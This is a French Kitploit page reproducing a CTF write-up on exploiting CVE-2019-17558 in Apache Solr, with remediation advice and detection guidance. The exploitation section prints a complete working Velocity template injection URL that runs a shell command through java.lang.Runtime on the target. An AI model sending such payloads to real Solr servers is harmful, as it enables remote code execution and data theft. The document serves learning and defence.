Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-17558-apache-solr-rce — Write-up CTF documentant l'exploitation de CVE-2019-17558 dans Apache Solr, couvrant la reconnaissance, les limites de Metasploit, l'injection manuelle de templates Velocity, la capture du flag et la remédiation. | Kitploit
Outils/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

cve-2019-17558-apache-solr-rce

Write-up CTF documentant l'exploitation de CVE-2019-17558 dans Apache Solr, couvrant la reconnaissance, les limites de Metasploit, l'injection manuelle de templates Velocity, la capture du flag et la remédiation.

Voir le dépôt
13il y a 1 moisPas encore vérifié
Partager

Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Exploration pratique d'une vulnérabilité de Velocity Template Injection dans Apache Solr, passant d'une défaillance d'outil automatisé (Metasploit) à une exploitation manuelle réussie.

Ce write-up documente le raisonnement complet de l'exercice, en mettant l'accent sur le diagnostic de la défaillance de l'outil et sur le pivot vers l'exploitation manuelle.

Scénario

ItemDescription
CibleServeur Linux exécutant Apache Solr sur le port 8983
ObjectifLire le contenu d'un fichier sensible (/home/favorite_book.txt)
VulnérabilitéCVE-2019-17558 (RCE via Velocity Response Writer)

1. Reconnaissance

La phase initiale a consisté à identifier les services actifs sur l'hôte cible.

root@kitploit:~
nmap -sV -p- <TARGET_IP>

Résultats.

  • Port 8983/tcp ouvert.
  • Service identifié comme Apache Solr.
  • Core identifié via le panneau web, novacollection.

2. Analyse de la vulnérabilité

En accédant au panneau d'administration, il a été confirmé que la version de Solr était vulnérable à Velocity Template Injection.

La faille se produit lorsque l'attaquant parvient à modifier la configuration params.resource.loader.enabled à true, ce qui permet l'utilisation de modèles Velocity personnalisés et, à partir de là, l'exécution de code Java arbitraire sur le serveur.

3. Exploitation automatisée (Metasploit)

Initialement, le module exploit/multi/http/solr_velocity_rce a été utilisé.

L'exploit a réussi à modifier la configuration de Solr.

root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'

Cependant, l'étape finale d'injection du payload a échoué avec une erreur d'exécution Ruby.

root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass

Cela a indiqué que, bien que l'environnement soit vulnérable et déjà préparé, l'outil n'a pas pu traiter la réponse du serveur pour finaliser l'attaque. La cible n'était pas sécurisée, seule la méthode de délivrance du module devait être ajustée.

4. Exploitation manuelle

Avec le Velocity Writer déjà activé par Metasploit, l'injection a été effectuée manuellement via une requête HTTP GET, contournant l'erreur du script. Le modèle Velocity a été construit pour instancier java.lang.Runtime et exécuter la commande de lecture du fichier cible.

root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Commande effectivement exécutée sur le serveur.

root@kitploit:~
cat /home/favorite_book.txt

5. Résultat

L'injection a réussi et le contenu du fichier a été renvoyé directement dans le corps de la réponse HTTP, rendu dans le navigateur, permettant de capturer le flag.

Enseignements

  • Limitation des outils. Les scanners et exploits automatisés peuvent échouer en raison de particularités de l'environnement ou de bugs du module lui-même.
  • Connaissances de base. Comprendre le fonctionnement de la CVE-2019-17558 est ce qui a permis de passer d'une défaillance de l'outil à une attaque manuelle réussie.
  • Persévérance. L'erreur NoMethodError ne signifiait pas que la cible était sécurisée, seulement que la méthode de délivrance devait être ajustée.

Remédiation

  • Mettre à jour Apache Solr vers une version corrigée (8.4 ou supérieure).
  • Garantir que params.resource.loader.enabled reste désactivé.
  • Restreindre l'accès au port 8983 aux seuls réseaux de confiance, en n'exposant jamais Solr directement sur Internet.
  • Surveiller les requêtes vers l'endpoint select avec les paramètres wt=velocity, utiles comme signature de détection dans un SIEM.

Références

  • CVE-2019-17558 (NVD et documentation officielle d'Apache Solr).

Disclaimer

Ce dépôt a été créé à des fins éducatives et de documentation d'apprentissage dans un environnement contrôlé (CTF). N'utilisez pas ces techniques contre des systèmes sans autorisation explicite.

Télécharger l’outil